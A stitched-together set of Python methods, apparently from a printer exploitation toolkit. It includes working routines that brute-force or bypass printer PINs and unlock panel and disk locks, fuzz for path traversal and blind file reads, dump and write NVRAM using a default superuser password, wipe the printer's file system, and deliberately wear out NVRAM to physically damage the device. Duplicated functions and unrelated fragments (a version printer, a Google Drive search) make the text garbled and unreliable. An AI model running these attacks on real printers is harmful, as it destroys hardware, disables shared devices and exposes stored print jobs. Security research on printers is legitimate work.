def ipp(self, host, lang):
try:
# poor man's way to get printer info via IPP
sys.stdout.write("Checking for IPP support: ")
body = (
"\x01\x01\x00\x0b\x00\x01\xab\x10\x01G\x00\x12attributes-charset\x00\x05utf-8H"
+
"\x00\x1battributes-natural-language\x00\x02enE\x00\x0bprinter-uri\x00\x14ipp:"
+
"//localhost/ipp/D\x00\x14requested-attributes\x00\x13printer-description\x03"
).encode()
request = urllib.request.Request(
"http://" + host + ":631/",
data=body,
headers={'Content-type': 'application/ipp'})
response = urllib.request.urlopen(
request, timeout=self.timeout).read().decode()
# get name of device
model = item(re.findall("MDL:(.+?);",
response)) # e.g. MDL:hp LaserJet 4250
# get language support
langs = item(re.findall("CMD:(.+?);",
response)) # e.g. CMD:PCL,PJL,POSTSCRIPT
self.support = [
_f for _f in
[re.findall(re.escape(pdl), langs, re.I) for pdl in lang] if _f
]
self.set_support(model)
output().green("found")
except Exception as e:
output().errmsg("not found", e)
def do_print(self, arg):
'Print image file or raw text: print <file>|"text"'
'''
┌──────────────────────────────────────────────────────────┐
│ Poor man's driverless PCL based printing (experimental) │
├──────────────────────────────────────────────────────────┤
│ Warning: ImageMagick and Ghostscript are used to convert │
│ the document to be printed into a language understood be │
│ the printer. Don't print anything from untrusted sources │
│ as it may be a security risk (CVE-2016–3714, 2016-7976). │
└──────────────────────────────────────────────────────────┘
'''
if not arg: arg = raw_input('File or "text": ')
if arg.startswith('"'): data = arg.strip('"') # raw text string
elif arg.endswith('.ps'): data = file().read(arg) # postscript file
else: # anything else…
try:
self.chitchat("Converting '" + arg + "' to PCL")
pdf = ['-density', '300'] if arg.endswith('.pdf') else []
cmd = ['convert'
] + pdf + [arg, '-quality', '100', 'pcl' + ':-']
out, err = subprocess.PIPE, subprocess.PIPE
p = subprocess.Popen(cmd, stdout=out, stderr=err)
data, stderr = p.communicate()
except:
stderr = "ImageMagick or Ghostscript missing"
if stderr:
output().errmsg("Cannot convert", item(stderr.splitlines()))
if data:
self.send(c.UEL + data + c.UEL) # send pcl datastream to printer
def do_open(self, arg, mode=""):
"Connect to remote device: open <target>"
if not arg:
arg = raw_input("Target: ")
# open connection
try:
newtarget = (arg != self.target)
self.target = arg # set new target
self.conn = conn(self.mode, self.debug, self.quiet)
self.conn.timeout(self.timeout)
self.conn.open(arg)
print("Connection to " + arg + " established")
# hook method executed after successful connection
self.on_connect(mode)
# show some information about the device
if not self.quiet and mode != 'reconnect':
sys.stdout.write("Device: ")
self.do_id()
print("")
# set printer default values
self.set_defaults(newtarget)
except Exception as e:
output().errmsg("Connection to " + arg + " failed", str(e))
self.do_close()
# exit if run from init function (command line)
if mode == 'init':
self.do_exit()
def mirror(self, name, size):
target, vol = self.basename(self.target), self.get_vol()
root = os.path.abspath(os.path.join('mirror', target, vol))
lpath = os.path.join(root, name)
'''
┌───────────────────────────────────────────────────────────┐
│ mitigating path traversal │
├───────────────────────────────────────────────────────────┤
│ creating a mirror can be a potential security risk if the │
│ path contains traversal characters, environment variables │
│ or other things we have not thought about; while the user │
│ is in total control of the path (via 'cd' and 'traversal' │
│ commands), she might accidentally overwrite her files... │
│ │
│ our strategy is to first replace trivial path traversal │
│ strings (while still beeing able to download the files) │
│ and simply give up on more sophisticated ones for now. │
└───────────────────────────────────────────────────────────┘
'''
# replace path traversal (poor man's version)
lpath = re.sub(r'(\.)+' + c.SEP, '', lpath)
# abort if we are still out of the mirror root
if not os.path.realpath(lpath).startswith(root):
output().errmsg("Not saving data out of allowed path",
"I'm sorry Dave, I'm afraid I can't do that.")
elif size: # download current file
output().raw(self.vol + name + " -> " + lpath)
self.makedirs(os.path.dirname(lpath))
self.do_get(self.vol + name, lpath, False)
else: # create current directory
self.chitchat("Traversing " + name)
self.makedirs(lpath)
def do_disable(self, arg):
jobmedia = self.cmd('@PJL DINQUIRE JOBMEDIA') or '?'
if '?' in jobmedia: return output().info("Not available")
elif 'ON' in jobmedia: self.do_set('JOBMEDIA=OFF', False)
elif 'OFF' in jobmedia: self.do_set('JOBMEDIA=ON', False)
jobmedia = self.cmd('@PJL DINQUIRE JOBMEDIA') or '?'
output().info("Printing is now " + jobmedia)
def fuzz_blind(self):
output().raw("Blindly trying to read files.")
# get a bottle of beer, fuzzing will take some time
output().fuzzed('PATH', '', ('', 'GET', 'EXISTS'))
output().hline()
# try blind file access strategies (relative path)
for path in fuzzer().rel:
self.verify_blind(path, "")
output().hline()
# try blind file access strategies (absolute path)
for vol in self.vol_exists() + fuzzer().blind:
sep = '' if vol[-1:] in ['', '/', '\\'] else '/'
sep2 = vol[-1:] if vol[-1:] in ['/', '\\'] else '/'
# filenames to look for
for file in fuzzer().abs:
# set current delimiter
if isinstance(file, list): file = sep2.join(file)
path = vol + sep
self.verify_blind(path, file)
# vol name out of range error
if self.error == '30054':
output().raw("Volume nonexistent, skipping.")
break
# no directory traversal
for dir in fuzzer().dir:
# n'th level traversal
for n in range(1, 3):
path = vol + sep + n * (dir + sep2)
self.verify_blind(path, file)
def do_ls(self, arg):
"List contents of virtual file system: ls"
pclfs = self.dirlist()
if not pclfs: # no files have yet been uploaded
output().raw("This is a virtual pclfs. Use 'put' to upload files.")
# list files with syntax highlighting
for name, (id, size, date) in sorted(pclfs.items()):
output().pcldir(size, conv().lsdate(int(date)), id, name)
def do_hold(self, arg):
"Enable job retention."
self.chitchat("Setting job retention, reconnecting to see if still enabled")
self.do_set('HOLD=ON', False)
self.do_reconnect()
output().raw("Retention for future print jobs: ", '')
hold = self.do_info('variables', '^HOLD', False)
output().info(item(re.findall("=(.*)\s+\[", item(item(hold)))) or 'NOT AVAILABLE')
def verify_blind(self, path, name):
# 1st method: GET
opt1 = self.get(path + name, 10)[1] # file size is unknown :/
opt1 = (True if opt1 and not "FILEERROR" in opt1 else False)
# 2nd method: EXISTS
opt2 = (self.file_exists(path + name) != c.NONEXISTENT)
# show fuzzing results
output().fuzzed(path + name, "", ('', opt1, opt2))
def rpath(self, path=""):
# warn if path contains volume information
if (path.startswith("%") or path.startswith('0:')) and not self.fuzz:
output().warning("Do not refer to disks directly, use chvol.")
# in fuzzing mode leave remote path as it is
if self.fuzz: return path
# prepend volume information to virtual path
return self.vol + self.vpath(path)
def do_offline(self, arg):
"Take printer offline and display message: offline <message>"
if not arg:
arg = eval(input("Offline display message: "))
arg = arg.strip('"') # remove quotes
output().warning("Warning: Taking the printer offline will prevent yourself and others")
output().warning("from printing or re-connecting to the device. Press CTRL+C to abort.")
if output().countdown("Taking printer offline in...", 10, self):
self.cmd('@PJL OPMSG DISPLAY="' + arg + '"', False)
def get_models(self, file):
try:
with open(self.rundir + "db" + os.path.sep + file, 'r') as f:
models = filter(None, (line.strip() for line in f))
f.close()
return models
except IOError as e:
output().errmsg("Cannot open file", str(e))
return []
def do_ls(self, arg):
"List contents of remote directory: ls <path>"
list = self.dirlist(arg, False, True)
# remove '.' and '..' from non-empty directories
if set(list).difference(('.', '..')):
for key in set(list).intersection(('.', '..')): del list[key]
# list files with syntax highlighting
for name, size in sorted(list.items()):
output().pjldir(name, size)
def reconnect(self, msg):
# on incomplete command show error message
if msg: output().errmsg("Command execution failed", msg)
sys.stdout.write(os.linesep + "Forcing reconnect. ")
# workaround to flush socket buffers
self.do_close()
self.do_open(self.target, 'reconnect')
# on CTRL+C spawn a new shell
if not msg: self.cmdloop(intro="")
def do_cat(self, arg):
"Output remote file to stdout: cat <file>"
if not arg:
arg = raw_input("Remote file: ")
path = self.rpath(arg)
str_recv = self.get(path)
if str_recv != c.NONEXISTENT:
rsize, data = str_recv
output().raw(data.strip())
def get_models(self, file):
try:
with open(self.rundir + "db" + os.path.sep + file, 'r') as f:
models = [_f for _f in (line.strip() for line in f) if _f]
f.close()
return models
except IOError as e:
output().errmsg("Cannot open file", e)
return []
def do_nvram(self, arg):
# dump nvram
if arg.startswith('dump'):
bs = 2**9 # memory block size used for sampling
max = 2**18 # maximum memory address for sampling
steps = 2**9 # number of bytes to dump at once (feedback-performance trade-off)
lpath = os.path.join('nvram', self.basename(self.target)) # local copy of nvram
#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# ******* sampling: populate memspace with valid addresses ******
if len(re.split("\s+", arg, 1)) > 1:
memspace = []
commands = ['@PJL RNVRAM ADDRESS=' + str(n) for n in range(0, max, bs)]
self.chitchat("Sampling memory space (bs=" + str(bs) + ", max=" + str(max) + ")")
for chunk in (list(chunks(commands, steps))):
str_recv = self.cmd(c.EOL.join(chunk))
# break on unsupported printers
if not str_recv: return
# collect valid memory addresses
blocks = re.findall('ADDRESS\s*=\s*(\d+)', str_recv)
for addr in blocks: memspace += list(range(conv().int(addr), conv().int(addr) + bs))
self.chitchat(str(len(blocks)) + " blocks found. ", '')
else: # use fixed memspace (quick & dirty but might cover interesting stuff)
memspace = list(range(0, 8192)) + list(range(32768, 33792)) + list(range(53248, 59648))
#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# ******* dumping: read nvram and write copy to local file ******
commands = ['@PJL RNVRAM ADDRESS=' + str(n) for n in memspace]
self.chitchat("Writing copy to " + lpath)
if os.path.isfile(lpath): file().write(lpath, '') # empty file
for chunk in (list(chunks(commands, steps))):
str_recv = self.cmd(c.EOL.join(chunk))
if not str_recv: return # break on unsupported printers
else: self.makedirs('nvram') # create nvram directory
data = ''.join([conv().chr(n) for n in re.findall('DATA\s*=\s*(\d+)', str_recv)])
file().append(lpath, data) # write copy of nvram to disk
output().dump(data) # print asciified output to screen
print()
#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# read nvram (single byte)
elif arg.startswith('read'):
arg = re.split("\s+", arg, 1)
if len(arg) > 1:
arg, addr = arg
output().info(self.cmd('@PJL RNVRAM ADDRESS=' + addr))
else: self.help_nvram()
#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# write nvram (single byte)
elif arg.startswith('write'):
arg = re.split("\s+", arg, 2)
if len(arg) > 2:
arg, addr, data = arg
self.cmd('@PJL SUPERUSER PASSWORD=0' + c.EOL
+ '@PJL WNVRAM ADDRESS=' + addr + ' DATA=' + data + c.EOL
+ '@PJL SUPERUSEROFF', False)
else: self.help_nvram()
else:
self.help_nvram()
def do_cd(self, arg):
"Change remote working directory: cd <path>"
if not self.cpath(arg) or self.dir_exists(self.rpath(arg)):
if re.match("^[\." + c.SEP + "]+$", self.cpath(arg)):
output().raw("*** Congratulations, path traversal found ***")
output().chitchat(
"Consider setting 'traversal' instead of 'cd'.")
self.set_cwd(arg)
else:
print("Failed to change directory.")
def do_timeout(self, arg, quiet=False):
"Set connection timeout: timeout <seconds>"
try:
if arg:
if self.conn: self.conn.timeout(float(arg))
self.timeout = float(arg)
if not quiet:
print("Device or socket timeout: " + str(self.timeout))
except Exception as e:
output().errmsg("Cannot set timeout", str(e))
def verify_write(self, path, name, data, cmd):
# 1st method: GET
opt1 = (data in self.get(path + name, len(data))[1])
# 2nd method: EXISTS
opt2 = (self.file_exists(path + name) != c.NONEXISTENT)
# 3rd method: DIRLIST
opt3 = (name in self.dirlist(path, False))
# show fuzzing results
output().fuzzed(path + name, cmd, (opt1, opt2, opt3))
return opt1
def do_destroy(self, arg):
"Cause physical damage to printer's NVRAM."
output().warning("Warning: This command tries to cause physical damage to the")
output().warning("printer NVRAM. Use at your own risk. Press CTRL+C to abort.")
if output().countdown("Starting NVRAM write cycle loop in...", 10, self):
self.chitchat("Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?")
date = conv().now() # timestamp the experiment started
steps = 100 # number of pjl commands to send at once
chunk = ['@PJL DEFAULT COPIES=' + str(n%(steps-2)) for n in range(2, steps)]
for count in range(0, 10000000):
# test if we can still write to nvram
if count%10 == 0:
self.do_set("COPIES=42" + arg, False)
copies = self.cmd('@PJL DINQUIRE COPIES') or '?'
if not copies or '?' in copies:
output().chitchat("I'm sorry Dave, I'm afraid I can't do that.")
if count > 0: output().chitchat("Device crashed?")
return
elif not '42' in copies:
self.chitchat("\rI'm afraid. I'm afraid, Dave. Dave, my mind is going...")
dead = conv().elapsed(conv().now() - date)
print(("NVRAM died after " + str(count*steps) + " cycles, " + dead))
return
# force writing to nvram using by setting a variable many times
self.chitchat("\rNVRAM write cycles: " + str(count*steps), '')
self.cmd(c.EOL.join(chunk) + c.EOL + '@PJL INFO ID')
print() # echo newline if we get this far
def do_loop(self, arg):
"Run command for multiple arguments: loop <cmd> <arg1> <arg2> …"
args = re.split("\s+", arg)
if len(args) > 1:
cmd = args.pop(0)
for arg in args:
output().chitchat("Executing command: '" + cmd + " " + arg +
"'")
self.onecmd(cmd + " " + arg)
else:
self.onecmd("help loop")
def do_printenv(self, arg):
"Show printer environment variable: printenv <VAR>"
str_recv = self.cmd('@PJL INFO VARIABLES')
variables = []
for item in str_recv.splitlines():
var = re.findall("^(.*)=", item)
if var:
variables += var
self.options_printenv = variables
match = re.findall("^(" + re.escape(arg) + ".*)\s+\[", item, re.I)
if match: output().info(match[0])
def do_format(self, arg):
"Initialize printer's mass storage file system."
output().warning(
"Warning: Initializing the printer's file system will whipe-out all"
)
output().warning(
"user data (e.g. stored jobs) on the volume. Press CTRL+C to abort."
)
if output().countdown("Initializing volume " + self.vol[:2] + " in...",
10, self):
self.cmd('@PJL FSINIT VOLUME="' + self.vol[0] + '"', False)
def do_info(self, arg):
if arg in self.entities:
entity, desc = self.entities[arg]
for location in self.locations:
output().raw(desc + " " + self.locations[location])
str_send = '*s' + location + 'T' # set location type
str_send += c.ESC + '*s0U' # set location unit
str_send += c.ESC + '*s' + entity + 'I' # set inquire entity
output().info(self.cmd(str_send))
else:
self.help_info()
def main(**kwargs):
"""
Display version information for this package
:param **kwargs - Not used
"""
logger = logging.getLogger(log.ROOT_LOGGER_NAME)
logger.debug('Executing %s' % ACTION)
helper.output(u"%s version %s" % (pkginfo.package, pkginfo.version))
return exitcodes.EX_OK
def do_unlock(self, arg):
"Unlock control panel settings and disk write access."
# first check if locking is supported by device
str_recv = self.cmd('@PJL DINQUIRE PASSWORD')
if not str_recv or '?' in str_recv:
return output().errmsg("Cannot unlock",
"locking not supported by device")
# user-supplied pin vs. 'exhaustive' key search
if not arg:
print("No PIN given, cracking.")
keyspace = [""] + range(1,
65536) # protection can be bypassed with
else: # empty password one some devices
try:
keyspace = [int(arg)]
except Exception as e:
output().errmsg("Invalid PIN", str(e))
return
# for optimal performance set steps to 500-1000 and increase timeout
steps = 500 # set to 1 to get actual PIN (instead of just unlocking)
# unlock, bypass or crack PIN
for chunk in (list(chunks(keyspace, steps))):
str_send = ""
for pin in chunk:
# try to remove PIN protection
str_send += '@PJL JOB PASSWORD='******'@PJL DEFAULT PASSWORD=0' + c.EOL
# check if PIN protection still active
str_send += '@PJL DINQUIRE PASSWORD'
# visual feedback on cracking process
if len(keyspace) > 1 and pin:
self.chitchat(
"\rTrying PIN " + str(pin) + " (" + "%.2f" %
(pin / 655.35) + "%)", '')
# send current chunk of PJL commands
str_recv = self.cmd(str_send)
# seen hardcoded strings like 'ENABLED', 'ENABLE' and 'ENALBED' (sic!) in the wild
if str_recv.startswith("ENA"):
if len(keyspace) == 1:
output().errmsg("Cannot unlock", "Bad PIN")
else:
# disable control panel lock and disk lock
self.cmd(
'@PJL DEFAULT CPLOCK=OFF' + c.EOL +
'@PJL DEFAULT DISKLOCK=OFF', False)
if len(keyspace) > 1 and pin:
self.chitchat("\r")
# exit cracking loop
break
self.show_lock()
def http(self, host):
try:
# poor man's way get http title
sys.stdout.write("Checking for HTTP support: ")
html = urllib2.urlopen("http://" + host, timeout=self.timeout).read()
# cause we are to parsimonious to import BeautifulSoup ;)
title = re.findall("<title.*?>\n?(.+?)\n?</title>", html, re.I|re.M|re.S)
# get name of device
model = item(title)
# get language support
self.set_support(model)
output().green("found")
except Exception as e:
output().errmsg("not found", str(e))
def fswalk(self, arg, mode, recursive=False):
# add traversal and cwd in first run
if not recursive: arg = self.vpath(arg)
# add volume information to pathname
path = self.vol + self.normpath(arg)
list = self.dirlist(path, True, False, False, False)
# for files in current directory
for name, size in sorted(list.items()):
name = self.normpath(arg) + self.get_sep(arg) + name
name = name.lstrip(c.SEP) # crop leading slashes
# execute function for current file
if mode == 'find': output().raw(c.SEP + name)
if mode == 'mirror': self.mirror(name, size)
# recursion on directory
if not size: self.fswalk(name, mode, True)
def do_info(self, arg, item='', echo=True):
if arg in self.options_info or not echo:
str_recv = self.cmd('@PJL INFO ' + arg.upper()).rstrip()
if item:
match = re.findall("(" + item + "=.*(\n\t.*)*)", str_recv, re.I|re.M)
if echo:
for m in match: output().info(m[0])
if not match: print("Not available.")
return match
else:
for line in str_recv.splitlines():
if arg == 'id': line = line.strip('"')
if arg == 'filesys': line = line.lstrip()
output().info(line)
else:
self.help_info()
def verify_path(self, path, found={}):
# 1st method: EXISTS
opt1 = (self.dir_exists(path) or False)
# 2nd method: DIRLIST
dir2 = self.dirlist(path, False)
opt2 = (True if dir2 else False)
# show fuzzing results
output().fuzzed(path, "", ('', opt1, opt2))
if opt2: # DIRLIST successful
# add path if not already listed
if dir2 not in found.values():
found[path] = dir2
output().raw("Listing directory.")
self.do_ls(path)
elif opt1: # only EXISTS successful
found[path] = None
def _search(self, q, token, fields, maxResults):
"""This is where the actual search is happening"""
if token:
# print "Fetching next", maxResults, "items with token", str(token[0:15]) + "..."
msg = "Fetching next " + str(maxResults) + " items with token " + str(token)
output(msg)
url = 'https://www.googleapis.com/drive/v2/files'
params = {
"pageToken": token,
"q": q,
"maxResults": maxResults,
"fields": fields
}
r = requests.get(url, headers=self.user.headers(), params=params)
data = r.json()
return data
